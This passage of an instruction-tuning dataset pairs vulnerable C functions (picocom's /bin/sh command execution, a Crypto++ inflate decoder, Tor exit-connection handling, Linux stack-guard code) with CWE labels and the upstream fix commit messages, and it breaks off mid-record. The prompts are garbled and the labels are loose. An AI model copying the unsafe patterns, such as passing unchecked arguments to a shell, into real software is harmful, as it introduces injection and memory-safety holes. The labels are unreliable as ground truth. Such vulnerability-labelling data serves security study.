status: %d ***\\r\\n\", \n\t\t\t\t\t WEXITSTATUS(status));\n\t\t\treturn WEXITSTATUS(status);\n\t\t} else if ( WIFSIGNALED(status) ) {\n\t\t\tfd_printf(STO, \"\\r\\n*** killed by signal: %d ***\\r\\n\", \n\t\t\t\t\t WTERMSIG(status));\n\t\t\treturn -1;\n\t\t} else {\n\t\t\tfd_printf(STO, \"\\r\\n*** abnormal termination: 0x%x ***\\r\\n\", r);\n\t\t\treturn -1;\n\t\t}\n\t} else {\n\t\t/* child: external program */\n\t\tlong fl;\n\t\tchar cmd[512];\n\n\t\t/* unmanage terminal, and reset it to canonical mode */\n\t\tterm_remove(STI);\n\t\t/* unmanage serial port fd, without reset */\n\t\tterm_erase(fd);\n\t\t/* set serial port fd to blocking mode */\n\t\tfl = fcntl(fd, F_GETFL); \n\t\tfl &= ~O_NONBLOCK;\n\t\tfcntl(fd, F_SETFL, fl);\n\t\t/* connect stdin and stdout to serial port */\n\t\tclose(STI);\n\t\tclose(STO);\n\t\tdup2(fd, STI);\n\t\tdup2(fd, STO);\n\t\t{\n\t\t\t/* build command-line */\n\t\t\tchar *c, *ce;\n\t\t\tconst char *s;\n\t\t\tint n;\n\t\t\tva_list vls;\n\t\t\t\n\t\t\tstrcpy(cmd, EXEC);\n\t\t\tc = &cmd[sizeof(EXEC)- 1];\n\t\t\tce = cmd + sizeof(cmd) - 1;\n\t\t\tva_start(vls, fd);\n\t\t\twhile ( (s = va_arg(vls, const char *)) ) {\n\t\t\t\tn = strlen(s);\n\t\t\t\tif ( c + n + 1 >= ce ) break;\n\t\t\t\tmemcpy(c, s, n); c += n;\n\t\t\t\t*c++ = ' ';\n\t\t\t}\n\t\t\tva_end(vls);\n\t\t\t*c = '\\0';\n\t\t}\n\t\t/* run extenral command */\n\t\tfd_printf(STDERR_FILENO, \"%s\\n\", &cmd[sizeof(EXEC) - 1]);\n\t\testablish_child_signal_handlers();\n\t\tsigprocmask(SIG_SETMASK, &sigm_old, NULL);\n\t\texecl(\"/bin/sh\", \"sh\", \"-c\", cmd, NULL);\n\t\texit(42);\n\t}\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-77', 'CWE-125'], 'message': 'Do not use \"/bin/sh\" to run external commands.\n\nPicocom no longer uses /bin/sh to run external commands for\nfile-transfer operations. Parsing the command line and spliting it into\narguments is now performed internally by picocom, using quoting rules\nvery similar to those of the Unix shell. Hopefully, this makes it\nimpossible to inject shell-commands when supplying filenames or\nextra arguments to the send- and receive-file commands.'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: bool Inflator::DecodeBody()\r\n{\r\n\tbool blockEnd = false;\r\n\tswitch (m_blockType)\r\n\t{\r\n\tcase 0:\t// stored\r\n\t\tCRYPTOPP_ASSERT(m_reader.BitsBuffered() == 0);\r\n\t\twhile (!m_inQueue.IsEmpty() && !blockEnd)\r\n\t\t{\r\n\t\t\tsize_t size;\r\n\t\t\tconst byte *block = m_inQueue.Spy(size);\r\n\t\t\tsize = UnsignedMin(m_storedLen, size);\r\n\t\t\tCRYPTOPP_ASSERT(size <= 0xffff);\r\n\r\n\t\t\tOutputString(block, size);\r\n\t\t\tm_inQueue.Skip(size);\r\n\t\t\tm_storedLen = m_storedLen - (word16)size;\r\n\t\t\tif (m_storedLen == 0)\r\n\t\t\t\tblockEnd = true;\r\n\t\t}\r\n\t\tbreak;\r\n\tcase 1:\t// fixed codes\r\n\tcase 2:\t// dynamic codes\r\n\t\tstatic const unsigned int lengthStarts[] = {\r\n\t\t\t3, 4, 5, 6, 7, 8, 9, 10, 11, 13, 15, 17, 19, 23, 27, 31,\r\n\t\t\t35, 43, 51, 59, 67, 83, 99, 115, 131, 163, 195, 227, 258};\r\n\t\tstatic const unsigned int lengthExtraBits[] = {\r\n\t\t\t0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 1, 2, 2, 2, 2,\r\n\t\t\t3, 3, 3, 3, 4, 4, 4, 4, 5, 5, 5, 5, 0};\r\n\t\tstatic const unsigned int distanceStarts[] = {\r\n\t\t\t1, 2, 3, 4, 5, 7, 9, 13, 17, 25, 33, 49, 65, 97, 129, 193,\r\n\t\t\t257, 385, 513, 769, 1025, 1537, 2049, 3073, 4097, 6145,\r\n\t\t\t8193, 12289, 16385, 24577};\r\n\t\tstatic const unsigned int distanceExtraBits[] = {\r\n\t\t\t0, 0, 0, 0, 1, 1, 2, 2, 3, 3, 4, 4, 5, 5, 6, 6,\r\n\t\t\t7, 7, 8, 8, 9, 9, 10, 10, 11, 11,\r\n\t\t\t12, 12, 13, 13};\r\n\r\n\t\tconst HuffmanDecoder& literalDecoder = GetLiteralDecoder();\r\n\t\tconst HuffmanDecoder& distanceDecoder = GetDistanceDecoder();\r\n\r\n\t\tswitch (m_nextDecode)\r\n\t\t{\r\n\t\tcase LITERAL:\r\n\t\t\twhile (true)\r\n\t\t\t{\r\n\t\t\t\tif (!literalDecoder.Decode(m_reader, m_literal))\r\n\t\t\t\t{\r\n\t\t\t\t\tm_nextDecode = LITERAL;\r\n\t\t\t\t\tbreak;\r\n\t\t\t\t}\r\n\t\t\t\tif (m_literal < 256)\r\n\t\t\t\t\tOutputByte((byte)m_literal);\r\n\t\t\t\telse if (m_literal == 256)\t// end of block\r\n\t\t\t\t{\r\n\t\t\t\t\tblockEnd = true;\r\n\t\t\t\t\tbreak;\r\n\t\t\t\t}\r\n\t\t\t\telse\r\n\t\t\t\t{\r\n\t\t\t\t\tif (m_literal > 285)\r\n\t\t\t\t\t\tthrow BadBlockErr();\r\n\t\t\t\t\tunsigned int bits;\r\n\t\tcase LENGTH_BITS:\r\n\t\t\t\t\tbits = lengthExtraBits[m_literal-257];\r\n\t\t\t\t\tif (!m_reader.FillBuffer(bits))\r\n\t\t\t\t\t{\r\n\t\t\t\t\t\tm_nextDecode = LENGTH_BITS;\r\n\t\t\t\t\t\tbreak;\r\n\t\t\t\t\t}\r\n\t\t\t\t\tm_literal = m_reader.GetBits(bits) + lengthStarts[m_literal-257];\r\n\t\tcase DISTANCE:\r\n\t\t\t\t\tif (!distanceDecoder.Decode(m_reader, m_distance))\r\n\t\t\t\t\t{\r\n\t\t\t\t\t\tm_nextDecode = DISTANCE;\r\n\t\t\t\t\t\tbreak;\r\n\t\t\t\t\t}\r\n\t\tcase DISTANCE_BITS:\r\n\t\t\t\t\t// TODO: this surfaced during fuzzing. What do we do???\r\n\t\t\t\t\tCRYPTOPP_ASSERT(m_distance < COUNTOF(distanceExtraBits));\r\n\t\t\t\t\tbits = (m_distance >= COUNTOF(distanceExtraBits)) ? distanceExtraBits[29] : distanceExtraBits[m_distance];\r\n\t\t\t\t\tif (!m_reader.FillBuffer(bits))\r\n\t\t\t\t\t{\r\n\t\t\t\t\t\tm_nextDecode = DISTANCE_BITS;\r\n\t\t\t\t\t\tbreak;\r\n\t\t\t\t\t}\r\n\t\t\t\t\tm_distance = m_reader.GetBits(bits) + distanceStarts[m_distance];\r\n\t\t\t\t\tOutputPast(m_literal, m_distance);\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t\tbreak;\r\n\t\tdefault:\r\n\t\t\tCRYPTOPP_ASSERT(0);\r\n\t\t}\r\n\t}\r\n\tif (blockEnd)\r\n\t{\r\n\t\tif (m_eof)\r\n\t\t{\r\n\t\t\tFlushOutput();\r\n\t\t\tm_reader.SkipBits(m_reader.BitsBuffered()%8);\r\n\t\t\tif (m_reader.BitsBuffered())\r\n\t\t\t{\r\n\t\t\t\t// undo too much lookahead\r\n\t\t\t\tSecBlockWithHint buffer(m_reader.BitsBuffered() / 8);\r\n\t\t\t\tfor (unsigned int i=0; i \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-190', 'CWE-125'], 'message': 'Add Inflator::BadDistanceErr exception (Issue 414)\nThe improved validation and excpetion clears the Address Sanitizer and Undefined Behavior Sanitizer findings'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: connection_exit_begin_conn(cell_t *cell, circuit_t *circ)\n{\n edge_connection_t *n_stream;\n relay_header_t rh;\n char *address = NULL;\n uint16_t port = 0;\n or_circuit_t *or_circ = NULL;\n const or_options_t *options = get_options();\n begin_cell_t bcell;\n int rv;\n uint8_t end_reason=0;\n\n assert_circuit_ok(circ);\n if (!CIRCUIT_IS_ORIGIN(circ))\n or_circ = TO_OR_CIRCUIT(circ);\n\n relay_header_unpack(&rh, cell->payload);\n if (rh.length > RELAY_PAYLOAD_SIZE)\n return -END_CIRC_REASON_TORPROTOCOL;\n\n /* Note: we have to use relay_send_command_from_edge here, not\n * connection_edge_end or connection_edge_send_command, since those require\n * that we have a stream connected to a circuit, and we don't connect to a\n * circuit until we have a pending/successful resolve. */\n\n if (!server_mode(options) &&\n circ->purpose != CIRCUIT_PURPOSE_S_REND_JOINED) {\n log_fn(LOG_PROTOCOL_WARN, LD_PROTOCOL,\n \"Relay begin cell at non-server. Closing.\");\n relay_send_end_cell_from_edge(rh.stream_id, circ,\n END_STREAM_REASON_EXITPOLICY, NULL);\n return 0;\n }\n\n rv = begin_cell_parse(cell, &bcell, &end_reason);\n if (rv < -1) {\n return -END_CIRC_REASON_TORPROTOCOL;\n } else if (rv == -1) {\n tor_free(bcell.address);\n relay_send_end_cell_from_edge(rh.stream_id, circ, end_reason, NULL);\n return 0;\n }\n\n if (! bcell.is_begindir) {\n /* Steal reference */\n address = bcell.address;\n port = bcell.port;\n\n if (or_circ && or_circ->p_chan) {\n if (!options->AllowSingleHopExits &&\n (or_circ->is_first_hop ||\n (!connection_or_digest_is_known_relay(\n or_circ->p_chan->identity_digest) &&\n should_refuse_unknown_exits(options)))) {\n /* Don't let clients use us as a single-hop proxy, unless the user\n * has explicitly allowed that in the config. It attracts attackers\n * and users who'd be better off with, well, single-hop proxies.\n */\n log_fn(LOG_PROTOCOL_WARN, LD_PROTOCOL,\n \"Attempt by %s to open a stream %s. Closing.\",\n safe_str(channel_get_canonical_remote_descr(or_circ->p_chan)),\n or_circ->is_first_hop ? \"on first hop of circuit\" :\n \"from unknown relay\");\n relay_send_end_cell_from_edge(rh.stream_id, circ,\n or_circ->is_first_hop ?\n END_STREAM_REASON_TORPROTOCOL :\n END_STREAM_REASON_MISC,\n NULL);\n tor_free(address);\n return 0;\n }\n }\n } else if (rh.command == RELAY_COMMAND_BEGIN_DIR) {\n if (!directory_permits_begindir_requests(options) ||\n circ->purpose != CIRCUIT_PURPOSE_OR) {\n relay_send_end_cell_from_edge(rh.stream_id, circ,\n END_STREAM_REASON_NOTDIRECTORY, NULL);\n return 0;\n }\n /* Make sure to get the 'real' address of the previous hop: the\n * caller might want to know whether the remote IP address has changed,\n * and we might already have corrected base_.addr[ess] for the relay's\n * canonical IP address. */\n if (or_circ && or_circ->p_chan)\n address = tor_strdup(channel_get_actual_remote_address(or_circ->p_chan));\n else\n address = tor_strdup(\"127.0.0.1\");\n port = 1; /* XXXX This value is never actually used anywhere, and there\n * isn't \"really\" a connection here. But we\n * need to set it to something nonzero. */\n } else {\n log_warn(LD_BUG, \"Got an unexpected command %d\", (int)rh.command);\n relay_send_end_cell_from_edge(rh.stream_id, circ,\n END_STREAM_REASON_INTERNAL, NULL);\n return 0;\n }\n\n if (! options->IPv6Exit) {\n /* I don't care if you prefer IPv6; I can't give you any. */\n bcell.flags &= ~BEGIN_FLAG_IPV6_PREFERRED;\n /* If you don't want IPv4, I can't help. */\n if (bcell.flags & BEGIN_FLAG_IPV4_NOT_OK) {\n tor_free(address);\n relay_send_end_cell_from_edge(rh.stream_id, circ,\n END_STREAM_REASON_EXITPOLICY, NULL);\n return 0;\n }\n }\n\n log_debug(LD_EXIT,\"Creating new exit connection.\");\n /* The 'AF_INET' here is temporary; we might need to change it later in\n * connection_exit_connect(). */\n n_stream = edge_connection_new(CONN_TYPE_EXIT, AF_INET);\n\n /* Remember the tunneled request ID in the new edge connection, so that\n * we can measure download times. */\n n_stream->dirreq_id = circ->dirreq_id;\n\n n_stream->base_.purpose = EXIT_PURPOSE_CONNECT;\n n_stream->begincell_flags = bcell.flags;\n n_stream->stream_id = rh.stream_id;\n n_stream->base_.port = port;\n /* leave n_stream->s at -1, because it's not yet valid */\n n_stream->package_window = STREAMWINDOW_START;\n n_stream->deliver_window = STREAMWINDOW_START;\n\n if (circ->purpose == CIRCUIT_PURPOSE_S_REND_JOINED) {\n origin_circuit_t *origin_circ = TO_ORIGIN_CIRCUIT(circ);\n log_info(LD_REND,\"begin is for rendezvous. configuring stream.\");\n n_stream->base_.address = tor_strdup(\"(rendezvous)\");\n n_stream->base_.state = EXIT_CONN_STATE_CONNECTING;\n n_stream->rend_data = rend_data_dup(origin_circ->rend_data);\n tor_assert(connection_edge_is_rendezvous_stream(n_stream));\n assert_circuit_ok(circ);\n\n const int r = rend_service_set_connection_addr_port(n_stream, origin_circ);\n if (r < 0) {\n log_info(LD_REND,\"Didn't find rendezvous service (port %d)\",\n n_stream->base_.port);\n /* Send back reason DONE because we want to make hidden service port\n * scanning harder thus instead of returning that the exit policy\n * didn't match, which makes it obvious that the port is closed,\n * return DONE and kill the circuit. That way, a user (malicious or\n * not) needs one circuit per bad port unless it matches the policy of\n * the hidden service. */\n relay_send_end_cell_from_edge(rh.stream_id, circ,\n END_STREAM_REASON_DONE,\n origin_circ->cpath->prev);\n connection_free(TO_CONN(n_stream));\n tor_free(address);\n\n /* Drop the circuit here since it might be someone deliberately\n * scanning the hidden service ports. Note that this mitigates port\n * scanning by adding more work on the attacker side to successfully\n * scan but does not fully solve it. */\n if (r < -1)\n return END_CIRC_AT_ORIGIN;\n else\n return 0;\n }\n assert_circuit_ok(circ);\n log_debug(LD_REND,\"Finished assigning addr/port\");\n n_stream->cpath_layer = origin_circ->cpath->prev; /* link it */\n\n /* add it into the linked list of p_streams on this circuit */\n n_stream->next_stream = origin_circ->p_streams;\n n_stream->on_circuit = circ;\n origin_circ->p_streams = n_stream;\n assert_circuit_ok(circ);\n\n origin_circ->rend_data->nr_streams++;\n\n connection_exit_connect(n_stream);\n\n /* For path bias: This circuit was used successfully */\n pathbias_mark_use_success(origin_circ);\n\n tor_free(address);\n return 0;\n }\n tor_strlower(address);\n n_stream->base_.address = address;\n n_stream->base_.state = EXIT_CONN_STATE_RESOLVEFAILED;\n /* default to failed, change in dns_resolve if it turns out not to fail */\n\n if (we_are_hibernating()) {\n relay_send_end_cell_from_edge(rh.stream_id, circ,\n END_STREAM_REASON_HIBERNATING, NULL);\n connection_free(TO_CONN(n_stream));\n return 0;\n }\n\n n_stream->on_circuit = circ;\n\n if (rh.command == RELAY_COMMAND_BEGIN_DIR) {\n tor_addr_t tmp_addr;\n tor_assert(or_circ);\n if (or_circ->p_chan &&\n channel_get_addr_if_possible(or_circ->p_chan, &tmp_addr)) {\n tor_addr_copy(&n_stream->base_.addr, &tmp_addr);\n }\n return connection_exit_connect_dir(n_stream);\n }\n\n log_debug(LD_EXIT,\"about to start the dns_resolve().\");\n\n /* send it off to the gethostbyname farm */\n switch (dns_resolve(n_stream)) {\n case 1: /* resolve worked; now n_stream is attached to circ. */\n assert_circuit_ok(circ);\n log_debug(LD_EXIT,\"about to call connection_exit_connect().\");\n connection_exit_connect(n_stream);\n return 0;\n case -1: /* resolve failed */\n relay_send_end_cell_from_edge(rh.stream_id, circ,\n END_STREAM_REASON_RESOLVEFAILED, NULL);\n /* n_stream got freed. don't touch it. */\n break;\n case 0: /* resolve added to pending list */\n assert_circuit_ok(circ);\n break;\n }\n return 0;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-20', 'CWE-617'], 'message': 'TROVE-2017-004: Fix assertion failure in relay_send_end_cell_from_edge_\n\nThis fixes an assertion failure in relay_send_end_cell_from_edge_() when an\norigin circuit and a cpath_layer = NULL were passed.\n\nA service rendezvous circuit could do such a thing when a malformed BEGIN cell\nis received but shouldn't in the first place because the service needs to send\nan END cell on the circuit for which it can not do without a cpath_layer.\n\nFixes #22493\n\nReported-by: Roger Dingledine \nSigned-off-by: David Goulet '" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: arch_get_unmapped_area(struct file *filp, unsigned long addr,\n\t\tunsigned long len, unsigned long pgoff, unsigned long flags)\n{\n\tstruct mm_struct *mm = current->mm;\n\tstruct vm_area_struct *vma;\n\tstruct vm_unmapped_area_info info;\n\n\tif (len > TASK_SIZE - mmap_min_addr)\n\t\treturn -ENOMEM;\n\n\tif (flags & MAP_FIXED)\n\t\treturn addr;\n\n\tif (addr) {\n\t\taddr = PAGE_ALIGN(addr);\n\t\tvma = find_vma(mm, addr);\n\t\tif (TASK_SIZE - len >= addr && addr >= mmap_min_addr &&\n\t\t (!vma || addr + len <= vma->vm_start))\n\t\t\treturn addr;\n\t}\n\n\tinfo.flags = 0;\n\tinfo.length = len;\n\tinfo.low_limit = mm->mmap_base;\n\tinfo.high_limit = TASK_SIZE;\n\tinfo.align_mask = 0;\n\treturn vm_unmapped_area(&info);\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-119'], 'message': 'mm: larger stack guard gap, between vmas\n\nStack guard page is a useful feature to reduce a risk of stack smashing\ninto a different mapping. We have been using a single page gap which\nis sufficient to prevent having stack adjacent to a different mapping.\nBut this seems to be insufficient in the light of the stack usage in\nuserspace. E.g. glibc uses as large as 64kB alloca() in many commonly\nused functions. Others use constructs liks gid_t buffer[NGROUPS_MAX]\nwhich is 256kB or stack strings with MAX_ARG_STRLEN.\n\nThis will become especially dangerous for suid binaries and the default\nno limit for the stack size limit because those applications can be\ntricked to consume a large portion of the stack and a single glibc call\ncould jump over the guard page. These attacks are not theoretical,\nunfortunatelly.\n\nMake those attacks less probable by increasing the stack guard gap\nto 1MB (on systems with 4k pages; but make it depend on the page size\nbecause systems with larger base pages might cap stack allocations in\nthe PAGE_SIZE units) which should cover larger alloca() and VLA stack\nallocations. It is obviously not a full fix because the problem is\nsomehow inherent, but it should reduce attack space a lot.\n\nOne could argue that the gap size should be configurable from userspace,\nbut that can be done later when somebody finds that the new 1MB is wrong\nfor some special case applications. For now, add a kernel command line\noption (stack_guard_gap) to specify the stack gap size (in page units).\n\nImplementation wise, first delete all the old code for stack guard page:\nbecause although we could get away with accounting one extra page in a\nstack vma, accounting a larger gap can break userspace - case in point,\na program run with \"ulimit -S -v 20000\" failed when the 1MB gap was\ncounted for RLIMIT_AS; similar problems could come with RLIMIT_MLOCK\nand strict non-overcommit mode.\n\nInstead of keeping gap inside the stack vma, maintain the stack guard\ngap as a gap between vmas: using vm_start_gap() in place of vm_start\n(or vm_end_gap() in place of vm_end if VM_GROWSUP) in just those few\nplaces which need to respect the gap - mainly arch_get_unmapped_area(),\nand and the vma tree's subtree_gap support for that.\n\nOriginal-patch-by: Oleg Nesterov \nOriginal-patch-by: Michal Hocko \nSigned-off-by: Hugh Dickins \nAcked-by: Michal Hocko \nTested-by: Helge Deller # parisc\nSigned-off-by: Linus Torvalds '" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: radix__arch_get_unmapped_area(struct file *filp, unsigned long addr,\n\t\t\t unsigned long len, unsigned long pgoff,\n\t\t\t unsigned long flags)\n{\n\tstruct mm_struct *mm = current->mm;\n\tstruct vm_area_struct *vma;\n\tstruct vm_unmapped_area_info info;\n\n\tif (unlikely(addr > mm->context.addr_limit &&\n\t\t mm->context.addr_limit != TASK_SIZE))\n\t\tmm->context.addr_limit = TASK_SIZE;\n\n\tif (len > mm->task_size - mmap_min_addr)\n\t\treturn -ENOMEM;\n\n\tif (flags & MAP_FIXED)\n\t\treturn addr;\n\n\tif (addr) {\n\t\taddr = PAGE_ALIGN(addr);\n\t\tvma = find_vma(mm, addr);\n\t\tif (mm->task_size - len >= addr && addr >= mmap_min_addr &&\n\t\t (!vma || addr + len <= vma->vm_start))\n\t\t\treturn addr;\n\t}\n\n\tinfo.flags = 0;\n\tinfo.length = len;\n\tinfo.low_limit = mm->mmap_base;\n\tinfo.align_mask = 0;\n\n\tif (unlikely(addr > DEFAULT_MAP_WINDOW))\n\t\tinfo.high_limit = mm->context.addr_limit;\n\telse\n\t\tinfo.high_limit = DEFAULT_MAP_WINDOW;\n\n\treturn vm_unmapped_area(&info);\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-119'], 'message': 'mm: larger stack guard gap, between vmas\n\nStack guard page is a useful feature to reduce a risk of stack smashing\ninto a different mapping. We have been using a single page gap which\nis sufficient to prevent having stack adjacent to a different mapping.\nBut this seems to be insufficient in the light of the stack usage in\nuserspace. E.g. glibc uses as large as 64kB alloca() in many commonly\nused functions. Others use constructs liks gid_t buffer[NGROUPS_MAX]\nwhich is 256kB or stack strings with MAX_ARG_STRLEN.\n\nThis will become especially dangerous for suid binaries and the default\nno limit for the stack size limit because those applications can be\ntricked to consume a large portion of the stack and a single glibc call\ncould jump over the guard page. These attacks are not theoretical,\nunfortunatelly.\n\nMake those attacks less probable by increasing the stack guard gap\nto 1MB (on systems with 4k pages; but make it depend on the page size\nbecause systems with larger base pages might cap stack allocations in\nthe PAGE_SIZE units) which should cover larger alloca() and VLA stack\nallocations. It is obviously not a full fix because the problem is\nsomehow inherent, but it should reduce attack space a lot.\n\nOne could argue that the gap size should be configurable from userspace,\nbut that can be done later when somebody finds that the new 1MB is wrong\nfor some special case applications. For now, add a kernel command line\noption (stack_guard_gap) to specify the stack gap size (in page units).\n\nImplementation wise, first delete all the old code for stack guard page:\nbecause although we could get away with accounting one extra page in a\nstack vma, accounting a larger gap can break userspace - case in point,\na program run with \"ulimit -S -v 20000\" failed when the 1MB gap was\ncounted for RLIMIT_AS; similar problems could come with RLIMIT_MLOCK\nand strict non-overcommit mode.\n\nInstead of keeping gap inside the stack vma, maintain the stack guard\ngap as a gap between vmas: using vm_start_gap() in place of vm_start\n(or vm_end_gap() in place of vm_end if VM_GROWSUP) in just those few\nplaces which need to respect the gap - mainly arch_get_unmapped_area(),\nand and the vma tree's subtree_gap support for that.\n\nOriginal-patch-by: Oleg Nesterov \nOriginal-patch-by: Michal Hocko \nSigned-off-by: Hugh Dickins \nAcked-by: Michal Hocko \nTested-by: Helge Deller # parisc\nSigned-off-by: Linus Torvalds '" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: arch_get_unmapped_area_topdown(struct file *filp, const unsigned long addr0,\n\t\t\t const unsigned long len, const unsigned long pgoff,\n\t\t\t const unsigned long flags)\n{\n\tstruct vm_area_struct *vma;\n\tstruct mm_struct *mm = current->mm;\n\tunsigned long addr = addr0;\n\tstruct vm_unmapped_area_info info;\n\n\t/* requested length too big for entire address space */\n\tif (len > TASK_SIZE - mmap_min_addr)\n\t\treturn -ENOMEM;\n\n\tif (flags & MAP_FIXED)\n\t\treturn addr;\n\n\t/* requesting a specific address */\n\tif (addr) {\n\t\taddr = PAGE_ALIGN(addr);\n\t\tvma = find_vma(mm, addr);\n\t\tif (TASK_SIZE - len >= addr && addr >= mmap_min_addr &&\n\t\t\t\t(!vma || addr + len <= vma->vm_start))\n\t\t\treturn addr;\n\t}\n\n\tinfo.flags = VM_UNMAPPED_AREA_TOPDOWN;\n\tinfo.length = len;\n\tinfo.low_limit = max(PAGE_SIZE, mmap_min_addr);\n\tinfo.high_limit = mm->mmap_base;\n\tinfo.align_mask = 0;\n\taddr = vm_unmapped_area(&info);\n\n\t/*\n\t * A failed mmap() very likely causes application failure,\n\t * so fall back to the bottom-up function here. This scenario\n\t * can happen with large stack limits and large mmap()\n\t * allocations.\n\t */\n\tif (offset_in_page(addr)) {\n\t\tVM_BUG_ON(addr != -ENOMEM);\n\t\tinfo.flags = 0;\n\t\tinfo.low_limit = TASK_UNMAPPED_BASE;\n\t\tinfo.high_limit = TASK_SIZE;\n\t\taddr = vm_unmapped_area(&info);\n\t}\n\n\treturn addr;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-119'], 'message': 'mm: larger stack guard gap, between vmas\n\nStack guard page is a useful feature to reduce a risk of stack smashing\ninto a different mapping. We have been using a single page gap which\nis sufficient to prevent having stack adjacent to a different mapping.\nBut this seems to be insufficient in the light of the stack usage in\nuserspace. E.g. glibc uses as large as 64kB alloca() in many commonly\nused functions. Others use constructs liks gid_t buffer[NGROUPS_MAX]\nwhich is 256kB or stack strings with MAX_ARG_STRLEN.\n\nThis will become especially dangerous for suid binaries and the default\nno limit for the stack size limit because those applications can be\ntricked to consume a large portion of the stack and a single glibc call\ncould jump over the guard page. These attacks are not theoretical,\nunfortunatelly.\n\nMake those attacks less probable by increasing the stack guard gap\nto 1MB (on systems with 4k pages; but make it depend on the page size\nbecause systems with larger base pages might cap stack allocations in\nthe PAGE_SIZE units) which should cover larger alloca() and VLA stack\nallocations. It is obviously not a full fix because the problem is\nsomehow inherent, but it should reduce attack space a lot.\n\nOne could argue that the gap size should be configurable from userspace,\nbut that can be done later when somebody finds that the new 1MB is wrong\nfor some special case applications. For now, add a kernel command line\noption (stack_guard_gap) to specify the stack gap size (in page units).\n\nImplementation wise, first delete all the old code for stack guard page:\nbecause although we could get away with accounting one extra page in a\nstack vma, accounting a larger gap can break userspace - case in point,\na program run with \"ulimit -S -v 20000\" failed when the 1MB gap was\ncounted for RLIMIT_AS; similar problems could come with RLIMIT_MLOCK\nand strict non-overcommit mode.\n\nInstead of keeping gap inside the stack vma, maintain the stack guard\ngap as a gap between vmas: using vm_start_gap() in place of vm_start\n(or vm_end_gap() in place of vm_end if VM_GROWSUP) in just those few\nplaces which need to respect the gap - mainly arch_get_unmapped_area(),\nand and the vma tree's subtree_gap support for that.\n\nOriginal-patch-by: Oleg Nesterov \nOriginal-patch-by: Michal Hocko \nSigned-off-by: Hugh Dickins \nAcked-by: Michal Hocko \nTested-by: Helge Deller # parisc\nSigned-off-by: Linus Torvalds '" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: int expand_downwards(struct vm_area_struct *vma,\n\t\t\t\t unsigned long address)\n{\n\tstruct mm_struct *mm = vma->vm_mm;\n\tint error;\n\n\taddress &= PAGE_MASK;\n\terror = security_mmap_addr(address);\n\tif (error)\n\t\treturn error;\n\n\t/* We must make sure the anon_vma is allocated. */\n\tif (unlikely(anon_vma_prepare(vma)))\n\t\treturn -ENOMEM;\n\n\t/*\n\t * vma->vm_start/vm_end cannot change under us because the caller\n\t * is required to hold the mmap_sem in read mode. We need the\n\t * anon_vma lock to serialize against concurrent expand_stacks.\n\t */\n\tanon_vma_lock_write(vma->anon_vma);\n\n\t/* Somebody else might have raced and expanded it already */\n\tif (address < vma->vm_start) {\n\t\tunsigned long size, grow;\n\n\t\tsize = vma->vm_end - address;\n\t\tgrow = (vma->vm_start - address) >> PAGE_SHIFT;\n\n\t\terror = -ENOMEM;\n\t\tif (grow <= vma->vm_pgoff) {\n\t\t\terror = acct_stack_growth(vma, size, grow);\n\t\t\tif (!error) {\n\t\t\t\t/*\n\t\t\t\t * vma_gap_update() doesn't support concurrent\n\t\t\t\t * updates, but we only hold a shared mmap_sem\n\t\t\t\t * lock here, so we need to protect against\n\t\t\t\t * concurrent vma expansions.\n\t\t\t\t * anon_vma_lock_write() doesn't help here, as\n\t\t\t\t * we don't guarantee that all growable vmas\n\t\t\t\t * in a mm share the same root anon vma.\n\t\t\t\t * So, we reuse mm->page_table_lock to guard\n\t\t\t\t * against concurrent vma expansions.\n\t\t\t\t */\n\t\t\t\tspin_lock(&mm->page_table_lock);\n\t\t\t\tif (vma->vm_flags & VM_LOCKED)\n\t\t\t\t\tmm->locked_vm += grow;\n\t\t\t\tvm_stat_account(mm, vma->vm_flags, grow);\n\t\t\t\tanon_vma_interval_tree_pre_update_vma(vma);\n\t\t\t\tvma->vm_start = address;\n\t\t\t\tvma->vm_pgoff -= grow;\n\t\t\t\tanon_vma_interval_tree_post_update_vma(vma);\n\t\t\t\tvma_gap_update(vma);\n\t\t\t\tspin_unlock(&mm->page_table_lock);\n\n\t\t\t\tperf_event_mmap(vma);\n\t\t\t}\n\t\t}\n\t}\n\tanon_vma_unlock_write(vma->anon_vma);\n\tkhugepaged_enter_vma_merge(vma, vma->vm_flags);\n\tvalidate_mm(mm);\n\treturn error;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-119'], 'message': 'mm: larger stack guard gap, between vmas\n\nStack guard page is a useful feature to reduce a risk of stack smashing\ninto a different mapping. We have been using a single page gap which\nis sufficient to prevent having stack adjacent to a different mapping.\nBut this seems to be insufficient in the light of the stack usage in\nuserspace. E.g. glibc uses as large as 64kB alloca() in many commonly\nused functions. Others use constructs liks gid_t buffer[NGROUPS_MAX]\nwhich is 256kB or stack strings with 